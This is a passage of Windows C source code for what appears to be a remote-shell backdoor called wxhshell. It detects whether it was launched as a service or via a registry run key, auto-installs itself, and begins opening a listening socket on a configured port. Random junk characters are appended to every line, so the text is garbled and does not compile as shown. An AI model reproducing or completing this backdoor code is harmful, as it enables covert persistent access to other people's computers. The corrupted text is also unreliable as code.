DWORD BasePriority; ]!P6Z?
ULONG UniqueProcessId; tZ@&di:-F
ULONG InheritedFromUniqueProcessId; hTby:$aCg
} PROCESS_BASIC_INFORMATION; J'=s25OWU
c; .y
PROCNTQSIP NtQueryInformationProcess; qx >Z@o
';v2ld 9
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cJwe4c6.m
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IhSXU<]
OH n~DL2
HANDLE hProcess; :Zq?V`+M
PROCESS_BASIC_INFORMATION pbi; JDnWBE V
~/SLGyu
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d1^5r
31
if(NULL == hInst ) return 0; e>!]_B1ad
5gx;Bp^_
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *) \y52z
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5$Kv%U
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .|L9}<
K|~!oQ
if (!NtQueryInformationProcess) return 0; q(s0dkrj
{t0!N]'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C$at9=(E6
if(!hProcess) return 0; wp~KrUlR
T72Z<h|<
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Avljrds+7
u5U^}<}y}
CloseHandle(hProcess); d@Bd*iI<
\Z%_dT}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }Sh@.3*
if(hProcess==NULL) return 0; }\N ~%?6D
{}"
<
HMODULE hMod; d--6<_q
char procName[255]; u,72Mm>
unsigned long cbNeeded; r`)'Kd
+\PLUOk
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *$('ous8
yswf2F
CloseHandle(hProcess); V*%><r
1)N#
if(strstr(procName,"services")) return 1; // 以服务启动 LG(" <CU
vPy."/[u
return 0; // 注册表启动 1Nv qtVC
} ;uZq_^?:9&
%_5?/H@%3z
// 主模块 iY sQ:3s
int StartWxhshell(LPSTR lpCmdLine) a{ByU%
{ +]H!q
W:
SOCKET wsl; 0H'G./8
BOOL val=TRUE; !14v Ovj4{
int port=0; nM8'="$
struct sockaddr_in door; 6(A"5B=\
m5?t<H~
if(wscfg.ws_autoins) Install(); pwVGe|h%,
J<cY'?D
port=atoi(lpCmdLine); .k!2{A
G&6`?1k
if(port<=0) port=wscfg.ws_port; /W}"/W9
YB{'L +Wbw
WSADATA data; \Q?#^<